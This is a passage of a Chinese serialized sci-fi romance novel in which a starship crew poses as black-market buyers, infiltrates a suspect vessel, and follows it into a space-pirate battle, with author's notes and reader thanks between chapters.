他下意识地看了一眼裴简珩，后者也正好看了过来，在眼神交汇之间，好像有什么东西在缓慢地流淌。 而似乎这场眼神的交缠也带来了某种念力的支撑，内心深处也越发的坚信与笃定。 两个人同时打开了车门。 五分钟后，又有一辆悬浮车从天而降。 莱克尔店主瞳孔微缩：“他们到了。” 裴简珩注意到他的神色有些紧张。 这次行动的主要负责人是闻铮，裴简珩的任务则是观察和协助。所以他已经在短短的几分钟内了解了这个地方的环境，包括如果真的交易不顺利，双方交火，他们应该把哪里作为战略地形，又可以按照怎样的路线进行撤退。 这辆悬浮车落地的时候带起了些许沙尘，沙尘还未平息，已经有多个人影从车上走下来。 裴简珩不动声色地观察着这几个人，两个是艾尼默人，一个右脸一侧有蛇鳞，是蛇属。另一个右小臂是黑白相间的条纹，应该是蛛属。 还有两个……真的是人类。 裴简珩微微眯眼，释放了一点点信息素去试探，没有得到任何被动的信息素回应，这两个人是Beta. 裴简珩把右手伸到背后，不让旁人看到他死死攥紧的拳头表面青筋毕现。 德瓦帝国杀了那么多的人类，现在又在酝酿见不得人的阴谋破坏《战争修整与互不干涉条约》，试图再次挑起战争，在这种情况下，怎么还会有人类愿意为了德瓦帝国做事？ ——等等！ 裴简珩突然觉得哪里不对。 两个艾尼默人，两个人类Beta，但凯利斯说过一共有五个人。 剩下那个人呢？ 显然，闻铮也和他想到了一块去，两个人对视一眼，都在对方眼底看到了淡淡的疑虑。 那个蛇属的艾尼默人先开口了，他的声音有些尖利：“这就是你和我说过的新零售商？” “是的是的。”莱克尔店主立刻接话，“我要回莱克尔星了，正好他们也有意向做这个。我确认过了，他们可以一次吃下十箱的货，钱也带来了。” “事实上，”闻铮有些沙哑的声音响起，无端让在场所有人的神经都是一紧，“如果你有更多的货可以供，我也都可以收。” 蛇属艾尼默人有些高傲地看向他们：“哦？那你们打算把这些魁斗酒销往哪里？”—— 作者有话说：小剧场： 小裴：这么瘦又不爱吃饭，这要怎么养啊（愁 —— 感谢珍白雪w的地雷！掉落气泡水x1！ 感谢珍白雪w、34402499、杂食但间歇性养胃的营养液！掉落星舰甜点x1！ 第67章 第三种可能 闻铮微抬下颌, 神色冷然倨傲，十足十是个眼高于顶的商人做派：“这你不用担心，我的生意遍布三个星系的零售渠道, 地上地下都有, 你有多少货，我就能收多少。” 在他的这个话术背后，有他自己的一番考量。 从此前和莱克尔店主的沟通中可以察觉到, 魁斗酒是这帮人做的唯一一个产品线，而且供货非常固定，双月十箱，共计六万毫升。 这批魁斗酒是在7号星上代工的, 如果他们接受了订单的增加, 那就势必要扩大产线或者增加工时, 江悦那边就会更加好找他们的势力。 而假如他们不接受…… “他没和你们说过吗？”蛇属艾尼默人瞥了一眼莱克尔店主，语气有点不快，“货量是固定的, 无法增加，不能接受我们就取消交易。” 莱克尔店主举起双手, 有些无奈：“我说过了，但他们不死心，还是想争取一下。” “好吧，”闻铮眼底有些遗憾，“限量的东西才能卖得上价格, 十箱我也接受。” 看来他们是不能追加货量的。 那就更加明确了。 闻铮在心里暗暗思量，这帮人根本就不是做生意的，醉翁之意不在酒，他们根本不在乎能否扩大生意盘子, 以及还能再赚多少钱。 蛇属艾尼默人也没再质疑什么，直击重点：“钱呢？” 闻铮示意了一下裴简珩手里提着的袋子：“最大面额的现金，一共二十万，都在这里。” 艾尼默人对那其中一个人类Beta女性示意，后者上前两步要接过袋子，闻铮伸手制止：“等一下，我们是在做生意没错吧？做生意得一手交钱一手交货，钱我们已经带来了，货呢？” 蛇属艾尼默人从鼻子里发出了意义不明的声音：“货没有带来，你们留个地址，一会儿你们还没回去，货已经到你们地址门口了。” 闻铮闻言，也没有再多质疑什么，示意裴简珩把袋子放在中间地上。 他没有再质疑，蛇属艾尼默人倒是觉得不对劲了，等Beta女人把袋子拿过去之后，他很有些粗暴地把袋子打开，检查起里面的二十万现金。 ——出乎他意料，居然是真钱。 裴简珩一直紧盯着对面的反应，在看到艾尼默人变脸的时候就下意识地踏前一步挡在闻铮前面，相位枪被他稳稳地举在手里！ 果不其然，蛇属艾尼默人飞快地拔|出|了相位枪对准他们，厉声道：“你们到底是谁？！” 闻铮心一沉，不知道他是在诈自己还是真的发现了什么，但他还是顺着往下演，惊恐地倒退两步：“——什么？！你们掏枪干什么？！” “第一次见面，你就敢在没看到货的情况下，把二十万巨额现金交给我。”艾尼默人神色讥讽，“你就不怕我卷钱跑了？” “只有两种可能，第一，你是蠢货。” “第二，你们的目的根本不是买魁斗酒！” 闻言，闻铮的心倒是慢慢放了下去，他的神色放松下来：“……闹什么，就这么一点事。” 蛇属艾尼默人：“？” “是不是还有第三种可能呢？” 闻铮施施然地拉过了裴简珩的手腕，把他的通讯亮给对面这几个人看：“那就是这些钱对我来说根本不值一提，你们就算骗了我，我也没损失，就当买了件不喜欢的衣服。又何必费这个口舌跟你们质疑来质疑去？” 对面看着银发Alpha手腕上镶着八颗莫泊斯蓝钻的通讯，陷入了沉默。 就连这个人的助理，都戴得起莫泊斯蓝钻？ 还是八颗？! 那这个黑头发的漂亮Alpha到底该多有钱？他的生意到底做得有多大？ 这样看来的话，这二十万倒确确实实是个不值一提的小数目了。 眼见艾尼默人的态度有所松动，闻铮趁热打铁：“所以这生意你们到底还做不做？” 过了十几秒，相位枪被放下了。 气氛不再像此前一样紧绷，这让旁边刚刚都傻眼了的莱克尔店主长舒一口气。 可别给自己找事…… 艾尼默人哼了一声：“行吧，你们把地址留下，隔月的同一时间，再来这里做交易。” 闻铮露出一个假笑，梨涡一点影子都没有：“没问题。” 他们眼看着对方把钱点完，确认没问题了以后就上了悬浮车消失无踪。 莱克尔店主拍了拍胸口：“我天啊，你们可吓死我了！” 裴简珩没工夫搭理他，凑近了闻铮小声道：“闻哥，你觉不觉得很奇怪？在德瓦人势力范围内，艾尼默人会被允许有这么高的地位和领导角色吗？” 是的，这也是闻铮察觉到不对劲的地方之一。 德瓦帝国内，艾尼默人一向被认为是肮脏低等、未完全进化完成的生物，因此他们都是被压榨和奴役的对象。如果说现在的7号星，还有艾尼默人在接受高等教育、特别出类拔萃的人还能有机会担任一些领导岗位，那么这在德瓦帝国就是天方夜谭的笑话。 而德瓦人正在密谋某些涉及到战争的阴谋，如此重要的战略计划，居然是艾尼默人来主导？ 怎么可能？ 而闻铮察觉到的不对劲的地方，和两个艾尼默人被赋权相反，是人类的失权。 虽然艾尼默人和联邦大大小小也打了小一百年了，但在他们的文化里，对于人类这个物种还是相对认可的。 怎么今天看过来，这两个人类神情麻木，只负责听令办事，毫无自己的思想可言，甚至艾尼默人对他们都能颐指气使。 不过这些都可以回去再讨论，现下的当务之急是—— “凯利斯，”闻铮对着隐形耳麦道，“目标现在已经离开，不排除回到商用星舰的可能，你立刻从星舰上离开！” 耳麦那边一片寂静。 闻铮眉头紧皱：“凯利斯？能听到吗？” “凯利斯？” …… 凯利斯正在心里骂人。 在和闻铮的通讯结束以后，他就从特安斯特高塔下去，伸手招了一辆悬浮车前往特安斯特-B的商用太空港。 他当然是没有权限进入维护中的星舰区域的，但他有自己的办法。 这个办法叫做随机用相位枪电晕一个来上卫生间的内部工作人员，换上他的衣服和工牌，再趁着安保人员不注意，跟着其他员工蹭进门闸。 ——幸亏这里没对维修人员进行虹膜识别录入，不然这一招可没用。 凯利斯把宝贝相位枪藏藏好，这是跟着他退役的一把高阶相位枪，和7号星那种只有击杀档位的枪可不一样。 他顺着编码顺序找了半天，才找到TPAX-2560，又利用倒霉维修人员的授权工牌刷开了星舰的舱门。 这艘星舰正在进行自动燃料补足，凯利斯一进去，它配备的全舰人工智能就开始播报：“燃料补充进度17%，空间迁跃核能源补充进度26%，二锂池补充进度10%，预计补充完成时间为……” 凯利斯太熟悉联邦星舰构造了，不管是商用星舰还是军用星舰，都是需要遵守联邦的一套星舰构造模板的。 不过在此之前，他需要做的一件事是…… 凯利斯扬声道：“人工智能，进入全舰私人模式。” “私人模式已激活，十分钟内所有画面和声音均不会被记录。” 十分钟，好吧。 凯利斯先去了一趟舰桥，熟练地把航行路线记录、防御系统参数和人力档案都调了出来，一目十行地浏览，越看眉头皱得越紧。 这什么…… 他将舰桥指挥台的一切记录都恢复原样，连忙跑到轮机工程室去，在半途中，他路过了一个舱门紧闭的舱室，通过门上的一小块透明玻璃，能看到里面泛着蓝莹莹的光。 凯利斯停下脚步，凑过去看了一眼，舱室里面是很大一个真空蓝光舱，舱里码着整整齐齐的……蓟梨草。 凯利斯皱眉，但也没时间多停留，直奔轮机室的数据面板而去，然后对着那几百个数据头疼，干脆抬起通讯就拍了几张三维照片，然后发给了黎晓。 黎晓秒回了一个“？”，但凯利斯现在没工夫搭理他。 他翻到最后一页数据看板的时候，轮机室外突然响起了相位枪激活的声音，这让他瞬间汗毛直立。 他一边扫视着轮机室里可以藏身的地方，一边打开聊天框问黎晓在不在破晓号上。 “谁在那里？！” 轮机室的门被打开，一个艾尼默人举着相位枪就冲了进来，看到凯利斯以后神色一变：“你是谁？！” 凯利斯面对着相位枪，举起双手 “呃，你好？看我的制服应该也知道了吧，我是这里的维修主管，我叫，”他快速垂眼扫了一眼胸前的名牌，“——亚瑟，我是来帮你们维修轮机的。” 艾尼默人的表情冰冷，他的食指已经扣在了扳机上：“我没申请过维修。” “啊？是吗？不可能！” 凯利斯一脸“你别闹了”的表情，就要把自己的维修悬浮屏递给他看：“你自己看，这不是来自TPAX-2561的维修申请吗？” 艾尼默人：“……这里是TPAX-2560。” “哈？！” 凯利斯大吃一惊：“我走错星舰了？！” ……好弱智的借口。 凯利斯自己心里都吐槽，但在这个节点，他也确实想不出来其他的理由了。 9、8、7、6、5…… 还没等艾尼默人反应过来，凯利斯对他背后奋力招手：“嗨！那个蛇属的艾尼默人——你是这个人的舰长吗？能让他把相位枪放下来吗？我真的只是走错了！” 眼前这个雀属的艾尼默人闻言一愣，转过身去，却发现根本没人。 他意识到自己被耍的下一刻，只感到脑后一阵剧痛，随后右手的相位枪就被这个“维修工”夺了过去！ 他怒吼着扑向“维修工”，却被后者一脚踹在了肚子上，又被蹬到了墙上。艾尼默人眼睛赤红，几乎没有冷却时间地又扑了过来，凯利斯“啧”了一声，和他扭打在一起，一个扫腿把他摔在地上，缠斗之间，艾尼默人的相位枪掉下来，又被他拿住，冷笑着就挣扎对准了—— ——人呢？！ 整个轮机室，在他低个头捡枪的当口，就只剩了他一个—— 作者有话说：感谢珍白雪w的地雷！掉落亚瑟工牌x1！ 感谢34402499、珍白雪w的营养液！掉落SSR卡莫泊斯蓝钻x1！ 第68章 随时出发 眨眼之间, 凯利斯差点一个趔趄地摔在了“破晓号”的相位穿梭间。 在他前面，清秀的Omega正站在操作台的后面，双手环胸睥睨着他, 从鼻孔里发出哼哼声：“没有我你怎么办？” 凯利斯没站稳, 干脆就势坐在了地上，双手合十对他拜了拜：“还得是你，没有你我可怎么办！” 这句话倒是发自内心的。 要不是黎晓恰好在破晓号上, 要不是他在千钧一发之际进行了一场堪称完美的相位穿梭，凯利斯还真得和那个艾尼默人打得你死我活，虽然输的人肯定不是他，但如果闹大了, 也怕打草惊蛇。 不过……确实有点奇怪, 艾尼默人有这么难打吗？ 没注意到凯利斯的若有所思, 黎晓只对金发大副给到的情绪价值感到心满意足。但他下一秒注意到了什么，朝他走去的脚步微顿：“你这穿的什么？” 凯利斯满嘴跑星舰：“我的工作服，想不到吧, 我还兼职维修星舰外立面。” 黎晓：“……那你还做什么大副，你来跟我驻守轮机室。” 他一边吐槽一边对凯利斯伸出手, 凯利斯也没多想，握住他的手就一个推胯站了起来。 等他站定，两个人无意中对视了一眼，然后双双把视线落在了紧握的双手上。 黎晓：“……” 噢他是Alpha来着…… 凯利斯：“……” 这人好像是个Omega来着…… 俩人立刻移开目光，手也像被烫了一样立刻分开。 “呃, 所以你到底是干什么去了？” 黎晓摸了摸鼻尖，转移话题：“总不会真的是兼职吧，那我要告你黑状的。” 凯利斯：“啊对！” 他连忙打开了隐形耳麦的频道，刚刚为了不让TPAX-2560的人工智能捕捉到通讯频道, 他短暂地中断了和闻铮的通讯：“闻哥！我没事，我在破晓号上。” 对面秒回，闻铮的声音明显松了一口气：“那就好——你怎么会在破晓号上？” “说来话长，”凯利斯神色严肃起来，“闻哥，你和裴简珩现在方便也回到破晓号上吗？” 十秒钟后，黎晓操作相位穿梭台，把远在特安斯特-B星另一头的闻铮和裴简珩也相位穿梭了过来。 裴简珩看到凯利斯的下一秒也挑了挑眉毛：“跳槽了？” 大家关系都近到可以时不时互相犯个贱了，反正人没事，平时斗斗嘴皮子也挺有意思。 闻铮先是看向凯利斯，确保自己的大副毛都没掉半根以后，又把视线移到了黎晓身上，有些疑惑：“你这时候怎么在破晓号上？不是让你休假了么。” 黎晓耸耸肩：“我不放心，再来检查一下轮机室各项机器是不是都正常充能，恰好接到凯利斯的通信，让我第一时间定位到他，再把他相位穿梭过来。” “是的是的，你是我的大英雄。”凯利斯又像在说真心话，又像在敷衍，很快就转移到了正事上，“闻哥，我潜进去了TPAX-2560。” 闻铮神色也微冷起来：“有什么发现吗？” “我先去了舰桥，确实很不对劲。” 凯利斯回忆起他在舰桥看板看到的航行路线和防御系统：“他们这半年来的航线只有三个行程点，特安斯特-B中转星、7号星以及魁斗星。” 裴简珩一怔：“就三个？没有德瓦母星或者德瓦星系内的任何一个行星的坐标点？” “没有。”凯利斯很笃定，“只有这三个坐标点。” 裴简珩沉思，如果这样的话…… “到魁斗星就足够了。” 闻铮淡淡道：“魁斗人有相当一部分人在从事星盗活动，他们的部分星盗船舰未被联邦系统收录，只要他们到了魁斗星，完全可以通过其他手段回到德瓦母星。毕竟魁斗星是在联邦和德瓦帝国的战争中唯一的中立第三方。” “以及，我还检查了他们的战斗与防御系统面板。”凯利斯神色严峻，“他们星舰上藏了10发光子鱼雷。” “多少发？！” 黎晓腾地一下从操作台后面站起来，难以置信：“10发能把我们打成筛子了！” 这次换闻铮皱眉：“10发光子鱼雷，商业太空港的安全检查系统没有查出来吗？” 凯利斯挫败地摇头：“我不知道，但从中央操控的舰桥面板来看，确实有这么多。” “……不稀奇。” 裴简珩神色晦暗不明：“德瓦人的部分星舰具备屏蔽武器扫描射线的功能。当年星际舰队在东翼战场没少吃亏。” 闻铮看向他，可能与德瓦帝国的军事战略有关，他当年负责的西翼战场倒是没出现这种情况。 “我们不能和他们起正面冲突，”闻铮道，“必要的时候我们利用空间迁跃撤退。” 逃跑并不可耻，现在并不是在战争期间，他需要尽可能地对船上这四个人的生命负责。 “还有别的发现吗？” 凯利斯犹豫了一下，挠挠头：“我最后去了轮机室，鼓捣了半天轮机室的数据面板，没看懂，所以我进行了影像记录，发给了黎晓。” 见其他三个人的目光都朝自己看过来，黎晓恍然：“原来你给我发的三维影像是这个意思啊！我还想说破晓号的数据也不是这个啊。” 他边说边把数据拉出了悬浮屏，看了半天，几乎不敢相信自己的眼睛：“这啥啊？我怎么看不懂啊？？不可能！！！” 闻铮心里一紧。 这艘星舰上别人不知道黎晓是谁，他知道。 师从联邦最伟大的物理学家，星舰军校轮机学院一共六年学制，他连续跳级三年，如果不是他Omega的身份在临毕业的时候被发现了，黎晓绝对会是星际舰队历史上最年轻的轮机长。 这样的一位轮机工程师，怎么可能连基本的数据看板都看不懂？ 黎晓眉心拧成小疙瘩，把悬浮屏放大一倍，更加专心致志地去看。 闻铮也想帮忙看看，但实在是爱莫能助。 他作为临危受命没读过星舰军校的舰长，对轮机数据看板的知识面也就到这儿了。 只是谁也没想到，从一旁突然伸出了一只修长的手，在简单地调整了一番数据看板的影像后，下一秒，黎晓就惊呼出声：“这我就能看懂了！” 他立刻转身看向裴简珩，眼睛里都是求知的光芒：“你做了什么？你怎么做到的？你也懂轮机吗？量子力学你明白多——” “我既不懂轮机也不懂量子力学。” 裴简珩神色微冷：“但我知道，这是德瓦人的读数习惯，他们的数据阅读顺序是从右到左，右起第三位到左起第四位，其他都是噪音信息。” 闻铮能看到这个年轻的Alpha额头的青筋凸起，却还在努力克制。 他转身看向自己，眼底闪着含义不明的光：“闻哥，我们的方向没有错，无论他们是艾尼默人还是人类，都绝对是德瓦人的势力。” “被裴简珩转化读数以后，轮机的数据看板目前看起来没有什么问题，具体的我再研究一下。” 阅读顺序解决后，数据看板对黎晓来说就像看小学数学题。 闻铮颔首：“黎晓，你做的那个微型跟踪器，现在能看到定位吗？” “稍等。” 黎晓把自己的通讯调出来，操作了几下：“可以，这袋子钱正在朝特安斯特-B的商业太空港移动。” 二十万的钱可是腆着脸问下属借来的，闻铮可不能让这几个人把钱说拿走就拿走了。他提前麻烦黎晓做了隐匿的微型跟踪器，塞进了其中某一张一万的大面额纸币里。 理想情况下，他们拿到了钱就会回到TPAX-2560上，然后驾驶这艘配备了10发光子鱼雷的“商业舰”离开，按照航线飞往魁斗星中立区。 在微型跟踪器的作用下，哪怕隔了几光年，破晓号都能准确定位到TPAX-2560的座标，他们休想甩掉破晓号。 闻铮注视着悬浮屏上那个位置精确到小数点后几位的坐标点，又扫了一眼正专心致志研究TPAX-2560数据面板，试图把小学数学做成高等物理的黎晓，还是忍不住在心里摇头。 只因为是Omega，就把如此万里挑一的人才赶出轮机学院，联邦到底知不知道他们损失了什么？ ……也怪自己，他曾经以“悬空号”舰长和第三军团指挥官的身份给了这个Omega一个承诺，却因为自己要做的事而不得不食言。 他赌联邦不会忍心失去一个天才，却忽略了联邦军部那群Alpha一如既往的自大与傲慢。 “但是我刚刚打草惊蛇了。”凯利斯还是有些挫败，“不知道会不会影响他们原本的计划。” “让你潜入进去的人是我，”闻铮很平静，“我给出这句指示的时候就做好了可能被发现的准备，不用担心。” “刚才你也说，蓟梨草已经在他们的星舰上了，如果这种野草对他们真的那么重要，无论如何他们都一定要带着蓟梨草回到德瓦母星的。” 闻铮环视了一圈，除了医疗官赫尔，其他人都在悬空号上了。 他对裴简珩点了点头：“联系赫尔，我们随时出发。”—— 作者有话说：星舰小百科： 相位穿梭=传送=阉割版幻影移形（不是 可以理解为星舰上有一种设备可以将目标生命体“咻”的一下带回去; 被动触发，并且只能有人在星舰上操作才可以 ———— 掐指一算，距离闻哥和小裴再次滚到一起还有三章[墨镜]到时候我会提前提醒大家，可以的话早点来看，我怕来晚了被制裁[化了] 第69章 遵命 两个小时后, 破晓号已经准备好出发了。 五个人全部各就各位，黎晓在轮机室盯着藏在现金里的微型定位器，它此刻还老实地待在商业太空港地面上。而在TPAX-2560起飞之前, 他们还不能动。 舰桥指挥室依然只有三个人, 舰长、舵手和战术官。 裴简珩和凯利斯已经都设置好了，随时都能起飞。 而闻铮坐在舰长椅上，盯着手里的一只小熊玩偶若有所思。 “这是……瑞昂酒店的代表玩偶？” 裴简珩刚转过来, 看见闻铮手里正把玩着那只小熊，有点疑惑：“这只熊怎么了吗？” 闻铮问：“这个玩偶是我离店的时候，茱莉送的纪念品，你们有吗？” 裴简珩颔首：“有送我, 不过我婉拒了。” 毕竟他们是来执行追查任务的, 带这种来路不明的东西上星舰不符合规定。 ——但闻铮怎么带上来了？ “有意思。”闻铮意味不明地笑了一下, “我请黎晓检查了一下这个玩偶，没有异常。” 裴简珩立刻捕捉到了闻铮的言外之意，试探地问：“您怀疑茱莉有问题？” 闻铮看了裴简珩一眼, 眼底是难以掩盖的欣赏和……难以描述的某些东西。 这个Alpha，说他聪明也好, 锐感也好，最重要的是，他很懂自己。 就连闻铮没说出口的话，裴简珩竟然也能在短短的几个字和没有任何态度倾向的语气里，敏锐地捕捉到他的言外之意。 那他……到底和自己会同频到什么程度呢？ 闻铮没有回答裴简珩的问题, 转而问自己的大副：“凯利斯，你对茱莉的印象如何？” “很专业的管家，挺漂亮的长相。”凯利斯耸了耸肩，“除此以外, 没觉得有什么其他的问题。” 闻铮又问裴简珩：“你呢？” “我认可凯利斯，专业度和外表都无可置疑。”他轻声道，“只是我总觉得她从某些角度看上去有些眼熟，只是我想不起来到底这种熟悉感到底来自于哪里。” 这次换闻铮一怔：“眼熟？难道你们在首都星见过？” 裴简珩眉头微皱，摇摇头：“应该不是，但我实在是想不起来，估计没见过几次。” 凯利斯也转过来：“如果她真的有什么问题的话，我们也没机会查了，估摸着一个小时之内就该离开特安斯特-B了。” “没关系。”闻铮轻声道，“我总觉得和这个人的交集还没完，还会再见的。” 一种直觉，一种在战争中救了闻铮和悬空号无数次的直觉。 “轮机室呼叫舰桥。” 人工智能的声音响起，闻铮按下通话按钮：“怎么了？” 黎晓严肃的声音响起：“定位器有动静了，高度发生了剧烈变化，他们起飞了。” 闻铮点了点头，把目光转向银发Alpha，他在听到黎晓的话之后就转了过去：“裴简珩，带我们出发。” 裴简珩快速在仪表面板上操作，在闻铮感受到破晓号启动的下一秒，他看到裴简珩微微朝他这边侧了侧脸，声音温柔又坚定：“遵命。” 不知道为什么，在这个看似普普通通的瞬间，闻铮却清楚地感觉到，自己的心跳好像漏跳了一拍。 …… 今晚的风好大。 林瑜淞紧了紧风衣外套，他刚从暗影组出来，他们剩下的三个人加班到现在，还是被江悦赶走的，让他和戴维尔回家赶紧休息，休息好了明天再来干。 结果这位代理指挥官自己却是没有想走的意思，还是坐在工位上根本不挪窝。 林瑜淞摇摇头，怎么在工作狂这件事上净学某人啊。 他在路边等自己叫的车，过了五分钟再一抬头，一辆通体漆黑的悬浮车悄无声息地停在了他面前。 林瑜淞微微皱眉，这不是他叫的车。 他刚要让开几步，却看见悬浮车的车窗在瞬间消融，而坐在里面的人穿着一身黑色西服，正用黑色的覆面对着他。 “聊几句吗？” 林瑜淞听着他明显是被技术改过的声音，脸色冰冷：“你是谁？” “我知道你们在查我，所以我不是自己送上门来了吗？” 覆面人的声音里甚至还带有一丝笑意：“放心，我不会对你做什么的，我是来寻求合作的。” “你自己不觉得好笑吗？”林瑜淞冷冷道，“你搞出了这么多事，害了这么多人，现在要来和暗影组合作？” “当然不。” 覆面人伸出一个手指左右晃了晃：“你搞错了，我不是来和暗影组合作的。” 林瑜淞皱眉，莫名其妙：“你刚刚——” “嘘，年轻人怎么这么没有耐心。”覆面人道，“我是来找你合作的。” “……” 林瑜淞心一沉。 “我知道你们那位闻指挥官，此前几番交手，确实有两把刷子。但他很明显并不会管理团队。”覆面人意有所指，“放着这么出类拔萃的人不用，反而去提拔一个青涩的艾尼默小女孩，呵呵。” “你认为这么拙劣的离间我会上当吗？”林瑜淞只觉得好笑，“不管组里发生什么，那都是我们内部的事情，而你——” “你可以把手从相位枪上面移开了。”覆面人似乎从面具下面看穿了林瑜淞的动作，“在你拔*枪的前一秒，你就会被我车上的相位武器打个对穿，你可以试试。” 林瑜淞神色一凛，果然，在溶解的车窗下方有一个小小的黑色洞口。 犹豫之下，他移开了手。 “很明智。”覆面人显然很满意他的识时务，“现在这才像个聊天的氛围，对不对？” “再把话说回来，你可以把你刚刚那几句话不断地重复给自己听，你也可以抛开所谓的’报恩’和虚无缥缈的’友情’，来仔细地听听自己心里的声音——你到底想要的是什么。” “权力是个好东西，”覆面人的声音带着笑，“每个人都想要，这不可耻。” 林瑜淞微微垂着眼，略长的刘海挡住了他的眼睛，让覆面人一时之间也很难判断他的态度。 半晌，他才听到有些冷淡的声线响起：“你到底想要什么？” “我说过了，我想要和你合作。” “我不聋，我的问题是，你想从我身上得到什么？” “当然是为我所用，别挡我的路。”覆面人的声音阴狠起来，“你们那位闻指挥官坏了我太多的事，我需要一个比他更识时务的人来坐那个位置。” 话音刚落，他就听到林瑜淞冷笑了一声，有些不快：“你笑什么？” “我笑你是个令人同情的理想主义者，”林瑜淞道，“只要闻哥回来了，你以为你还能做——” “你放心。” 原本的不快消失殆尽，覆面人的声音都变得轻快起来：“他回不来了。” 林瑜淞的瞳孔猛地紧缩！ 覆面人又道：“这下愿意上车聊聊了吗？” 林瑜淞没有动，覆面人也没有急，就在那里等着，一声催促也没有。 过了十五分钟，林瑜淞终于伸出手打开悬浮车的车门，坐了进去。 …… “目标是否还在监控范围内？” 距离他们出发已经过去了五个小时，闻铮并不想让TPAX-2560发现自己被跟踪，所以宁可在路程上多绕远，只要保证微型定位器的信号一直可以被监视到就行。 “在的。”裴简珩扫了一眼仪表面板，“虽然我们距离他们有一段距离了，但还是在我们的监控范围内——嗯？” 他突然的一个疑问语气让闻铮一怔：“怎么了？” 裴简珩道：“他们的速度读数指数型增加，应该是进入空间迁跃了。闻哥，我们也得进入空间迁跃了，否则会跟丢他们。” 闻铮沉思片刻：“他们是去魁斗星吗？” “从路线来看是的。” “进入空间迁跃，”闻铮当机立断，“目的地定为魁斗星，我们目前落后他们一段路程，不会被发现。” “收到。” “舰桥呼叫轮机室，”闻铮按响了舰上通讯，“黎晓，我们将在1分钟内进入空间迁跃，请做好准备。” 轮机室给出了确认回复。 一分钟后，破晓号进入了空间迁跃模式。 闻铮想了想，又问：“空间迁跃模式下，需要多久到达魁斗星？” “2个小时32分钟，”裴简珩答，“只要我们的空间迁跃别再出问题。” 凯利斯在旁边翻白眼：“不要说这种话！” “说出来的事一定会发生”这条铁律你不知道吗？ 裴简珩失笑，比了一个闭嘴的手势。 只是刚过了42分钟，仪表面板上又发出了滴滴滴的警报声，裴简珩连忙定位到了那几个数据指标，眉头紧皱。 与此同时，黎晓也打了通讯过来：“闻哥！不对劲！定位信号越来越弱，我们马上要失去定位坐标了！” “裴简珩？” “他们……退出了空间迁跃。”裴简珩的声音里带着不可置信，“而且从这个读数来看，他们的能量场也很不稳定。” 闻铮神情一凛，已经到了中立区，这里和联邦可不一样，一言不合就容易打起来，他的直觉已经开始叫嚣着不对劲了。 “追赶到他们现在的位置，然后退出空间迁跃。”闻铮看向凯利斯，“凯利斯，打开悬空号的防护罩，程度开到100%。打开隐形罩，程度100%。” 凯利斯飞快地操作完毕：“完成。” 裴简珩也已经锁定了TPAX-2560的位置，提前预警：“15秒后退出空间迁跃模式，14、13、12……” 闻铮打开全舰广播：“全舰注意，请寻找位置进行固定，应对10秒后可能到来的冲击。” 话音刚落，舰桥上的三位都按下了防冲击固定安全带，轮机室和医疗室的黎晓和赫尔也都找到了位置固定。 “3、2、1——” 倏地，破晓号退出了空间迁跃模式。 而映入眼中的，并不是虽然危机四伏却表面平静美丽的宇宙，而是战火纷飞，满是火光与星舰碎片的战场！—— 作者有话说：感谢34402499、珍白雪w、睡不醒醒的营养液！掉落小熊玩偶x1！ 第70章 请允许我和您一起去 看到这一幕, 众人皆惊！ 凯利斯忍不住爆了一句粗口，下意识地瞥了一眼闻铮。 果然……除了这位曾经的“第三军团之刃”，谁还会只通过退出空间迁跃这个行为和能量参数就能猜到他们是在被攻击？！ 他都不敢想, 如果闻铮没有让他事先打开隐形罩和防护罩, 当贸然出现在战场中心时，他们早就被打成筛子了！ 闻铮神色冷凝，缓缓从舰长椅上站起来：“裴简珩, 远离主力战场中心，退到安全边境。” “正在操作。” “凯利斯，确保破晓号全程处于隐形状态，防护罩保持100%开启。”顿了一下, 他又问, “能看到和TPAX-2560交火的是谁吗？” “稍等。”凯利斯操作后, 主屏幕上出现了放大后的画面，在TPAX-2560商用舰的对面，是一个宛如钢铁心脏形状的奇特战舰。 凯利斯的瞳孔紧缩：“这是不是——” “魁斗星盗舰, 钢铁之心。” 闻铮轻声道，他的大脑正在飞快地转动, 来判断目前的形势以及破晓号下一步该怎么做。 看样子，这五个为德瓦人做事的艾尼默人和beta运气不好，正好赶上在魁斗星外缘游荡打野的魁斗星盗。想也知道，他们不会愿意交出TPAX-2560的，上面可有一大批蓟梨草。 魁斗星盗可是道德感极低的种群, 拿不到好处，那就直接开打。 “凯利斯，扫描TPAX-2560，查看是否还有生命迹象。” 金发大副略一犹豫：“闻哥, 如果我们开启扫描，对方也会知道有我们的存在。” “没关系，”闻铮早就想到这点了，“他们现在没工夫管我们，你没发现他们连空间迁跃舱都被打掉了吗？” 还真是。 圆形的空间迁跃动力舱在太空中孤独地漂浮，正好飘过破晓号眼前。 凯利斯放下心来，开始对TPAX-2560进行生物信息扫描捕捉，在扫了三次确定没有意外以后，这才进行：“只有2个生命体征，目前正在TPAX-2560的5号甲板。” 看样子，其他三个人都死了。 闻铮思忖，调出了这个类型的商业舰构造三维图，目光落在5号甲板上，瞬间明白了这两个幸存的人为什么不在舰桥。 ——逃生舱在5号甲板，他们要弃船而逃。 那蓟梨草呢？就不要了吗？ 闻铮微微皱眉，盯着主屏幕上TPAX-2560的一举一动，直到看到两个逃生舱从主星舰上被弹射了出来！ 闻指挥官当机立断：“我上侦查子艇，蓟梨草一定在这两艘逃生舱里面——凯利斯，你来接管指挥权。” 现在情况危急，没有机会再慢慢跟踪，他必须得把蓟梨草和人都带回来，不管是威逼利诱还是严刑逼供，线索不能断在这里！ 这项任务太危险，要游走在魁斗星盗的眼皮子底下，所以他必须自己去，也只能自己去。 “我和您一起去！” 就在闻铮转身的下一刻，裴简珩倏地站起来，语气坚定：“闻哥，请允许我和您一起去。” 闻铮回过身来，断然拒绝：“请求驳回，你是目前这艘船上唯一的舵手，如果有什么意外，你需要带着大家撤退。” 裴简珩踏前一步：“那您呢？” 闻铮没有回答，只是说：“坐下，回到你的岗位上。” “破晓号现在处于隐身状态，只要不主动攻击，魁斗星盗不会发现我们。”面对闻铮的直接命令，这是裴简珩第一次抗命，“凯利斯是战术官，需要留在这里操作隐形罩和防护罩，基本的驾驶操作他也会的；黎晓需要守着轮机室和动力舱；赫尔是医疗官，所以只有我可以机动。” 眼见闻铮的嘴唇微动，裴简珩又道：“逃生舱有两艘，我们只能扫描生命体，无法扫描非生命体。您也不知道蓟梨草到底在哪艘船上，如果它不在您去的第一艘逃生舱上，魁斗星盗还在虎视眈眈，您很大可能没有时间再去第二艘了。” “所以最好的方案，就是两个人分头行动。” “而我是您现在唯一的、也是最好的选择。” 裴简珩那双蓝色的眼睛一眨不眨地凝视着他，闻铮甚至能从他眼底看到自己的倒影。 他也不得不承认，裴简珩说得是对的。 